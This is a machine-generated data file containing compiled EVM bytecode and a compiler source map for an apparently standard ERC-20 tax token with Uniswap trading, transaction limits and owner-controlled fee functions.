600160a01b03161461051057600080fd5b30600090815260016020526040902054801561052f5761052f81611284565b47801561053f5761053f816113fe565b5050565b600e546001600160a01b0316336001600160a01b03161461056357600080fd5b4761056d816113fe565b50565b6000546001600160a01b0316331461059a5760405162461bcd60e51b81526004016104ce9061182d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461060e5760405162461bcd60e51b81526004016104ce9061182d565b61061a6009600a611807565b610628906305f5e100611816565b600b556106376009600a611807565b610645906305f5e100611816565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106756009600a611807565b610683906305f5e100611816565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106ad57600080fd5b600047116106f65760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016104ce565b60405133904780156108fc02916000818181858888f1935050505015801561056d573d6000803e3d6000fd5b6000546001600160a01b0316331461074c5760405162461bcd60e51b81526004016104ce9061182d565b601054600160a01b900460ff16156107a65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ce565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107ef9030906107e16009600a611807565b610495906305f5e100611816565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610842573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108669190611862565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ec9190611862565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610939573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095d9190611862565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d71947306109a5816001600160a01b031660009081526001602052604090205490565b6000806109ba6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a22573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a47919061187f565b5050601054600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610aa0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056d91906118ad565b6000610410338484610bf5565b6001600160a01b038316610b335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ce565b6001600160a01b038216610b945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ce565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ce565b6001600160a01b038216610cbb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ce565b60008111610d1d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ce565b601054600160a01b900460ff16610db2576001600160a01b03831660009081526003602052604090205460ff1680610d6d57506001600160a01b03821660009081526003602052604090205460ff165b610db25760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016104ce565b600080610dca6011548461143890919063ffffffff16565b6001600160a01b03861660009081526003602052604090205490915060ff16158015610e0f57506001600160a01b03841660009081526003602052604090205460ff16155b156110d057610e406064610e3a600854600a5411610e2f57600454610e33565b6006545b869061149e565b90611520565b601054909250600160a81b900460ff1615610e7757610e706064610e3a600854600a5411610e2f57600454610e33565b9150610ec2565b601054600160a01b900460ff1615610ea457610e706064610e3a600854600a5411610e2f57600454610e33565b610ebf6064610e3a600854600a5411610e2f57600454610e33565b91505b6010546001600160a01b038681169116148015610eed5750600f546001600160a01b03858116911614155b8015610f1257506001600160a01b03841660009081526003602052604090205460ff16155b15610ffa57600b54831115610f695760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ce565b600c5483610f8c866001600160a01b031660009081526001602052604090205490565b610f9691906118cf565b1115610fe45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ce565b600a8054906000610ff4836118e2565b91905055505b6010546001600160a01b03858116911614801561102057506001600160a01b0385163014155b1561104d5761104a6064610e3a600954600a541161104057600554610e33565b600754869061149e565b91505b30600090815260016020526040902054601054600160a81b900460ff1615801561108457506010546001600160a01b038681169116145b80156110995750601054600160b01b900460ff165b156110ca5780156110c1576110c16110bc856110b784600d54611562565b611562565b611284565b6110ca476113fe565b50611106565b600e546001600160a01b039081169086160361110657601054600160a81b900460ff166110ff57600754611103565b6011545b90505b811561118057306000908152600160205260409020546111269083611438565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111779086815260200190565b60405180910390a35b6001600160a01b0385166000908152600160205260409020546111a39082611577565b6001600160a01b0386166000908152600160205260409020556111e86111c98484611577565b6001600160a01b03861660009081526001602052604090205490611438565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112328686611577565b60405190815260200160405180910390a35050505050565b6000818484111561126e5760405162461bcd60e51b81526004016104ce91906115e7565b50600061127b84866118fb565b95945050505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112cc576112cc61190e565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611325573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113499190611862565b8160018151811061135c5761135c61190e565b6001600160a01b039283166020918202929092010152600f546113829130911684610ad1565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bb908590600090869030904290600401611924565b600060405180830381600087803b1580156113d557600080fd5b505af11580156113e9573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561053f573d6000803e3d6000fd5b60008061144583856118cf565b9050838110156114975760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ce565b9392505050565b6000826000036114b057506000610414565b60006114bc8385611816565b9050826114c98583611995565b146114975760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ce565b600061149783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b9565b60008183116115715782611497565b50919050565b600061149783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061124a565b600081836115da5760405162461bcd60e51b81526004016104ce91906115e7565b50600061127b8486611995565b600060208083528351808285015260005b81811015611614578581018301518582016040015282016115f8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461056d57600080fd5b6000806040838503121561165d57600080fd5b823561166881611635565b946020939093013593505050565b60008060006060848603121561168b57600080fd5b833561169681611635565b925060208401356116a681611635565b929592945050506040919091013590565b6000602082840312156116c957600080fd5b813561149781611635565b600080604083850312156116e757600080fd5b82356116f281611635565b9150602083013561170281611635565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561175e5781600019048211156117445761174461170d565b8085161561175157918102915b93841c9390800290611728565b509250929050565b60008261177557506001610414565b8161178257506000610414565b816001811461179857600281146117a2576117be565b6001915050610414565b60ff8411156117b3576117b361170d565b50506001821b610414565b5060208310610133831016604e8410600b84101617156117e1575081810a610414565b6117eb8383611723565b80600019048211156117ff576117ff61170d565b029392505050565b600061149760ff841683611766565b80820281158282048414176104145761041461170d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561187457600080fd5b815161149781611635565b60008060006060848603121561189457600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118bf57600080fd5b8151801515811461149757600080fd5b808201808211156104145761041461170d565b6000600182016118f4576118f461170d565b5060010190565b818103818111156104145761041461170d565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119745784516001600160a01b03168352938301939183019160010161194f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119b257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122078007729c494b86375b8e594e48b3fb165a55a56755f9edb21a83b5b2699b06a64736f6c63430008130033

3864:8761:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5633:83;;;;;;;;;;-1:-1:-1;5703:5:0;;;;;;;;;;;;-1:-1:-1;;;5703:5:0;;;;5633:83;;;;;;;:::i;:::-;;;;;;;;6516:186;;;;;;;;;;-1:-1:-1;6516:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6516:186:0;1023:187:1;4711:56:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4711:56:0;1215:177:1;5910:95:0;;;;;;;;;;;;;:::i;6710:446::-;;;;;;;;;;-1:-1:-1;6710:446:0;;;;;:::i;:::-;;:::i;5819:83::-;;;;;;;;;;-1:-1:-1;5819:83:0;;4502:1;2000:36:1;;1988:2;1973:18;5819:83:0;1858:184:1;11689:106:0;;;;;;;;;;;;;:::i;:::-;;4868:28;;;;;;;;;;-1:-1:-1;4868:28:0;;;;-1:-1:-1;;;;;4868:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4868:28:0;2047:203:1;11840:362:0;;;;;;;;;;;;;:::i;12210:185::-;;;;;;;;;;;;;:::i;6013:119::-;;;;;;;;;;-1:-1:-1;6013:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6106:18:0;6079:7;6106:18;;;:9;:18;;;;;;;6013:119;2895:148;;;;;;;;;;;;;:::i;10650:162::-;;;;;;;;;;;;;:::i;4581:57::-;;;;;;;;;;;;;;;;12403:219;;;;;;;;;;;;;:::i;10916:765::-;;;;;;;;;;;;;:::i;2681:79::-;;;;;;;;;;-1:-1:-1;2719:7:0;2746:6;-1:-1:-1;;;;;2746:6:0;2681:79;;4645:59;;;;;;;;;;;;;;;;5724:87;;;;;;;;;;-1:-1:-1;5796:7:0;;;;;;;;;;;;-1:-1:-1;;;5796:7:0;;;;5724:87;;6140:192;;;;;;;;;;-1:-1:-1;6140:192:0;;;;;:::i;:::-;;:::i;6340:168::-;;;;;;;;;;-1:-1:-1;6340:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6473:18:0;;;6446:7;6473:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6340:168;6516:186;6616:4;6633:39;308:10;6656:7;6665:6;6633:8;:39::i;:::-;-1:-1:-1;6690:4:0;6516:186;;;;;:::o;5910:95::-;5963:7;4559:15;4502:1;4559:2;:15;:::i;:::-;4545:29;;:11;:29;:::i;:::-;5983:14;;5910:95;:::o;6710:446::-;6842:4;6859:36;6869:6;6877:9;6888:6;6859:9;:36::i;:::-;6906:220;6929:6;308:10;6977:138;7033:6;6977:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6977:19:0;;;;;;:11;:19;;;;;;;;308:10;6977:33;;;;;;;;;;:37;:138::i;:::-;6906:8;:220::i;:::-;-1:-1:-1;7144:4:0;6710:446;;;;;:::o;11689:106::-;2808:6;;-1:-1:-1;;;;;2808:6:0;308:10;2808:22;2800:67;;;;-1:-1:-1;;;2800:67:0;;;;;;;:::i;:::-;;;;;;;;;11740:11:::1;:18:::0;;-1:-1:-1;;;;11769:18:0;-1:-1:-1;;;11769:18:0;;;11689:106::o;11840:362::-;11906:10;;-1:-1:-1;;;;;11906:10:0;308;-1:-1:-1;;;;;11890:26:0;;11882:35;;;;;;11969:4;11928:20;6106:18;;;:9;:18;;;;;;11990:16;;11986:79;;12023:30;12040:12;12023:16;:30::i;:::-;12096:21;12132:14;;12128:67;;12163:20;12172:10;12163:8;:20::i;:::-;11871:331;;11840:362::o;12210:185::-;12276:10;;-1:-1:-1;;;;;12276:10:0;308;-1:-1:-1;;;;;12260:26:0;;12252:35;;;;;;12327:21;12359:28;12327:21;12359:8;:28::i;:::-;12241:154;12210:185::o;2895:148::-;2808:6;;-1:-1:-1;;;;;2808:6:0;308:10;2808:22;2800:67;;;;-1:-1:-1;;;2800:67:0;;;;;;;:::i;:::-;3002:1:::1;2986:6:::0;;2965:40:::1;::::0;-1:-1:-1;;;;;2986:6:0;;::::1;::::0;2965:40:::1;::::0;3002:1;;2965:40:::1;3033:1;3016:19:::0;;-1:-1:-1;;;;;;3016:19:0::1;::::0;;2895:148::o;10650:162::-;2808:6;;-1:-1:-1;;;;;2808:6:0;308:10;2808:22;2800:67;;;;-1:-1:-1;;;2800:67:0;;;;;;;:::i;:::-;4559:15:::1;4502:1;4559:2;:15;:::i;:::-;4545:29;::::0;:11:::1;:29;:::i;:::-;10704:12;:22:::0;4559:15:::1;4502:1;4559:2;:15;:::i;:::-;4545:29;::::0;:11:::1;:29;:::i;:::-;10737:14;:24:::0;10777:27:::1;4559:15;4502:1;4559:2;:15;:::i;:::-;4545:29;::::0;:11:::1;:29;:::i;:::-;10777:27;::::0;1361:25:1;;;1349:2;1334:18;10777:27:0::1;;;;;;;10650:162::o:0;12403:219::-;2719:7;2746:6;-1:-1:-1;;;;;2746:6:0;12459:10;:21;12451:30;;;;;;12524:1;12500:21;:25;12492:60;;;;-1:-1:-1;;;12492:60:0;;5151:2:1;12492:60:0;;;5133:21:1;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:52;5271:18;;12492:60:0;4949:346:1;12492:60:0;12563:51;;12571:10;;12592:21;12563:51;;;;;;;;;12592:21;12571:10;12563:51;;;;;;;;;;;;;;;;;;;10916:765;2808:6;;-1:-1:-1;;;;;2808:6:0;308:10;2808:22;2800:67;;;;-1:-1:-1;;;2800:67:0;;;;;;;:::i;:::-;10976:11:::1;::::0;-1:-1:-1;;;10976:11:0;::::1;;;10975:12;10967:48;;;::::0;-1:-1:-1;;;10967:48:0;;5502:2:1;10967:48:0::1;::::0;::::1;5484:21:1::0;5541:2;5521:18;;;5514:30;5580:25;5560:18;;;5553:53;5623:18;;10967:48:0::1;5300:347:1::0;10967:48:0::1;11026:15;:104:::0;;-1:-1:-1;;;;;;11026:104:0::1;11077:42;11026:104:::0;;::::1;::::0;;;11141:58:::1;::::0;11158:4:::1;::::0;4559:15:::1;4502:1;4559:2;:15;:::i;:::-;4545:29;::::0;:11:::1;:29;:::i;11141:58::-;11244:15;;;;;;;;;-1:-1:-1::0;;;;;11244:15:0::1;-1:-1:-1::0;;;;;11244:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11226:55:0::1;;11304:4;11324:15;;;;;;;;;-1:-1:-1::0;;;;;11324:15:0::1;-1:-1:-1::0;;;;;11324:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11226:131;::::0;-1:-1:-1;;;;;;11226:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6138:15:1;;;11226:131:0::1;::::0;::::1;6120:34:1::0;6190:15;;6170:18;;;6163:43;6055:18;;11226:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11210:13;:147:::0;;-1:-1:-1;;;;;11210:147:0;;::::1;-1:-1:-1::0;;;;;;11210:147:0;;::::1;;::::0;;11368:15:::1;::::0;::::1;:31;11407:21;11452:4;11472:24;11452:4:::0;-1:-1:-1;;;;;6106:18:0;6079:7;6106:18;;;:9;:18;;;;;;;6013:119;11472:24:::1;11511:1;11527::::0;11543:7:::1;2719::::0;2746:6;-1:-1:-1;;;;;2746:6:0;;2681:79;11543:7:::1;11368:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11368:223:0;;;-1:-1:-1;;;;;6576:15:1;;;11368:223:0::1;::::0;::::1;6558:34:1::0;6608:18;;;6601:34;;;;6651:18;;;6644:34;;;;6694:18;;;6687:34;6758:15;;;6737:19;;;6730:44;11565:15:0::1;6790:19:1::0;;;6783:35;6492:19;;11368:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11609:13:0::1;::::0;11640:15:::1;::::0;11602:71:::1;::::0;-1:-1:-1;;;11602:71:0;;-1:-1:-1;;;;;11640:15:0;;::::1;11602:71;::::0;::::1;7314:51:1::0;-1:-1:-1;;7381:18:1;;;7374:34;11609:13:0;::::1;::::0;-1:-1:-1;11602:29:0::1;::::0;7287:18:1;;11602:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;6140:192::-:0;6243:4;6260:42;308:10;6284:9;6295:6;6260:9;:42::i;7164:335::-;-1:-1:-1;;;;;7257:19:0;;7249:68;;;;-1:-1:-1;;;7249:68:0;;7903:2:1;7249:68:0;;;7885:21:1;7942:2;7922:18;;;7915:30;7981:34;7961:18;;;7954:62;-1:-1:-1;;;8032:18:1;;;8025:34;8076:19;;7249:68:0;7701:400:1;7249:68:0;-1:-1:-1;;;;;7336:21:0;;7328:68;;;;-1:-1:-1;;;7328:68:0;;8308:2:1;7328:68:0;;;8290:21:1;8347:2;8327:18;;;8320:30;8386:34;8366:18;;;8359:62;-1:-1:-1;;;8437:18:1;;;8430:32;8479:19;;7328:68:0;8106:398:1;7328:68:0;-1:-1:-1;;;;;7407:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7459:32;;1361:25:1;;;7459:32:0;;1334:18:1;7459:32:0;;;;;;;7164:335;;;:::o;7507:2529::-;-1:-1:-1;;;;;7594:17:0;;7586:67;;;;-1:-1:-1;;;7586:67:0;;8711:2:1;7586:67:0;;;8693:21:1;8750:2;8730:18;;;8723:30;8789:34;8769:18;;;8762:62;-1:-1:-1;;;8840:18:1;;;8833:35;8885:19;;7586:67:0;8509:401:1;7586:67:0;-1:-1:-1;;;;;7672:17:0;;7664:65;;;;-1:-1:-1;;;7664:65:0;;9117:2:1;7664:65:0;;;9099:21:1;9156:2;9136:18;;;9129:30;9195:34;9175:18;;;9168:62;-1:-1:-1;;;9246:18:1;;;9239:33;9289:19;;7664:65:0;8915:399:1;7664:65:0;7756:1;7748:5;:9;7740:63;;;;-1:-1:-1;;;7740:63:0;;9521:2:1;7740:63:0;;;9503:21:1;9560:2;9540:18;;;9533:30;9599:34;9579:18;;;9572:62;-1:-1:-1;;;9650:18:1;;;9643:39;9699:19;;7740:63:0;9319:405:1;7740:63:0;7819:11;;-1:-1:-1;;;7819:11:0;;;;7814:179;;-1:-1:-1;;;;;7873:23:0;;;;;;:18;:23;;;;;;;;;:50;;-1:-1:-1;;;;;;7900:23:0;;;;;;:18;:23;;;;;;;;7873:50;7847:134;;;;-1:-1:-1;;;7847:134:0;;9931:2:1;7847:134:0;;;9913:21:1;9970:2;9950:18;;;9943:30;-1:-1:-1;;;9989:18:1;;;9982:52;10051:18;;7847:134:0;9729:346:1;7847:134:0;8005:17;8037:12;8052:20;8062:9;;8052:5;:9;;:20;;;;:::i;:::-;-1:-1:-1;;;;;8090:23:0;;;;;;:18;:23;;;;;;8037:35;;-1:-1:-1;8090:23:0;;8089:24;:52;;;;-1:-1:-1;;;;;;8118:23:0;;;;;;:18;:23;;;;;;;;8117:24;8089:52;8085:1583;;;8170:81;8233:3;8170:40;8193:3;;8181:9;;:15;8180:29;;8206:3;;8180:29;;;8200:3;;8180:29;8170:5;;:9;:40::i;:::-;:44;;:81::i;:::-;8269:6;;8158:93;;-1:-1:-1;;;;8269:6:0;;;;8266:269;;;8289:81;8352:3;8289:40;8312:3;;8300:9;;:15;8299:29;;8325:3;;8299:29;;8289:81;8277:93;;8266:269;;;8380:11;;-1:-1:-1;;;8380:11:0;;;;8377:158;;;8404:49;8449:3;8404:40;8427:3;;8415:9;;:15;8414:29;;8440:3;;8414:29;;8377:158;8486:49;8531:3;8486:40;8509:3;;8497:9;;:15;8496:29;;8522:3;;8496:29;;8486:49;8474:61;;8377:158;8583:13;;-1:-1:-1;;;;;8576:20:0;;;8583:13;;8576:20;:72;;;;-1:-1:-1;8632:15:0;;-1:-1:-1;;;;;8617:31:0;;;8632:15;;8617:31;;8576:72;:117;;;;-1:-1:-1;;;;;;8670:23:0;;;;;;:18;:23;;;;;;;;8669:24;8576:117;8554:438;;;8745:12;;8736:5;:21;;8728:59;;;;-1:-1:-1;;;8728:59:0;;10282:2:1;8728:59:0;;;10264:21:1;10321:2;10301:18;;;10294:30;10360:27;10340:18;;;10333:55;10405:18;;8728:59:0;10080:349:1;8728:59:0;8862:14;;8853:5;8836:14;8846:3;-1:-1:-1;;;;;6106:18:0;6079:7;6106:18;;;:9;:18;;;;;;;6013:119;8836:14;:22;;;;:::i;:::-;:40;;8806:140;;;;-1:-1:-1;;;8806:140:0;;10766:2:1;8806:140:0;;;10748:21:1;10805:2;10785:18;;;10778:30;10844:28;10824:18;;;10817:56;10890:18;;8806:140:0;10564:350:1;8806:140:0;8965:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8554:438;9017:13;;-1:-1:-1;;;;;9010:20:0;;;9017:13;;9010:20;:44;;;;-1:-1:-1;;;;;;9034:20:0;;9049:4;9034:20;;9010:44;9006:191;;;9087:94;9177:3;9087:63;9132:3;;9120:9;;:15;9119:30;;9146:3;;9119:30;;;9139:4;;9087:5;;:31;:63::i;:94::-;9075:106;;9006:191;9262:4;9213:28;6106:18;;;:9;:18;;;;;;9290:6;;-1:-1:-1;;;9290:6:0;;;;9289:7;:31;;;;-1:-1:-1;9307:13:0;;-1:-1:-1;;;;;9300:20:0;;;9307:13;;9300:20;9289:31;:46;;;;-1:-1:-1;9324:11:0;;-1:-1:-1;;;9324:11:0;;;;9289:46;9285:304;;;9360:24;;9356:167;;9407:116;9450:50;9454:5;9461:38;9465:20;9487:11;;9461:3;:38::i;:::-;9450:3;:50::i;:::-;9407:16;:116::i;:::-;9542:31;9551:21;9542:8;:31::i;:::-;8143:1457;8085:1583;;;9616:10;;-1:-1:-1;;;;;9616:10:0;;;9610:16;;;;9606:62;;9645:6;;-1:-1:-1;;;9645:6:0;;;;:23;;9664:4;;9645:23;;;9654:9;;9645:23;9638:30;;9606:62;9686:13;;9682:171;;9761:4;9743:24;;;;:9;:24;;;;;;:39;;9772:9;9743:28;:39::i;:::-;9734:4;9716:24;;;;:9;:24;;;;;;;:66;;;;9802:39;;-1:-1:-1;;;;;9802:39:0;;;;;;;9831:9;1361:25:1;;1349:2;1334:18;;1215:177;9802:39:0;;;;;;;;9682:171;-1:-1:-1;;;;;9880:14:0;;;;;;:9;:14;;;;;;:24;;9899:4;9880:18;:24::i;:::-;-1:-1:-1;;;;;9863:14:0;;;;;;:9;:14;;;;;:41;9932:40;9951:20;:5;9961:9;9951;:20::i;:::-;-1:-1:-1;;;;;9932:14:0;;;;;;:9;:14;;;;;;;:18;:40::i;:::-;-1:-1:-1;;;;;9915:14:0;;;;;;;:9;:14;;;;;:57;;;;9988:40;;;10007:20;:5;10017:9;10007;:20::i;:::-;9988:40;;1361:25:1;;;1349:2;1334:18;9988:40:0;;;;;;;7575:2461;;7507:2529;;;:::o;1483:224::-;1603:7;1639:12;1631:6;;;;1623:29;;;;-1:-1:-1;;;1623:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1663:9:0;1675:5;1679:1;1675;:5;:::i;:::-;1663:17;1483:224;-1:-1:-1;;;;;1483:224:0:o;10159:483::-;5213:6;:13;;-1:-1:-1;;;;5213:13:0;-1:-1:-1;;;5213:13:0;;;10261:16:::1;::::0;;10275:1:::1;10261:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10261:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10261:16:0::1;10237:40;;10306:4;10288;10293:1;10288:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10288:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10332:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10332:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10288:7;;10332:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10322:4;10327:1;10322:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10322:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10397:15:::1;::::0;10365:62:::1;::::0;10382:4:::1;::::0;10397:15:::1;10415:11:::0;10365:8:::1;:62::i;:::-;10438:15;::::0;:196:::1;::::0;-1:-1:-1;;;10438:196:0;;-1:-1:-1;;;;;10438:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10519:11;;10438:15:::1;::::0;10561:4;;10588::::1;::::0;10608:15:::1;::::0;10438:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5249:6:0;:14;;-1:-1:-1;;;;5249:14:0;;;-1:-1:-1;;;;10159:483:0:o;10820:88::-;10873:10;;:27;;-1:-1:-1;;;;;10873:10:0;;;;:27;;;;;10893:6;;10873:10;:27;:10;:27;10893:6;10873:10;:27;;;;;;;;;;;;;;;;;;;1152:179;1210:7;;1242:5;1246:1;1242;:5;:::i;:::-;1230:17;;1271:1;1266;:6;;1258:46;;;;-1:-1:-1;;;1258:46:0;;12643:2:1;1258:46:0;;;12625:21:1;12682:2;12662:18;;;12655:30;12721:29;12701:18;;;12694:57;12768:18;;1258:46:0;12441:351:1;1258:46:0;1322:1;1152:179;-1:-1:-1;;;1152:179:0:o;1715:246::-;1773:7;1797:1;1802;1797:6;1793:47;;-1:-1:-1;1827:1:0;1820:8;;1793:47;1850:9;1862:5;1866:1;1862;:5;:::i;:::-;1850:17;-1:-1:-1;1895:1:0;1886:5;1890:1;1850:17;1886:5;:::i;:::-;:10;1878:56;;;;-1:-1:-1;;;1878:56:0;;13221:2:1;1878:56:0;;;13203:21:1;13260:2;13240:18;;;13233:30;13299:34;13279:18;;;13272:62;-1:-1:-1;;;13350:18:1;;;13343:31;13391:19;;1878:56:0;13019:397:1;1969:132:0;2027:7;2054:39;2058:1;2061;2054:39;;;;;;;;;;;;;;;;;:3;:39::i;10044:107::-;10101:7;10133:1;10129;:5;10128:15;;10142:1;10128:15;;;-1:-1:-1;10138:1:0;10044:107;-1:-1:-1;10044:107:0:o;1339:136::-;1397:7;1424:43;1428:1;1431;1424:43;;;;;;;;;;;;;;;;;:3;:43::i;2109:223::-;2229:7;2264:12;2257:5;2249:28;;;;-1:-1:-1;;;2249:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2288:9:0;2300:5;2304:1;2300;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;26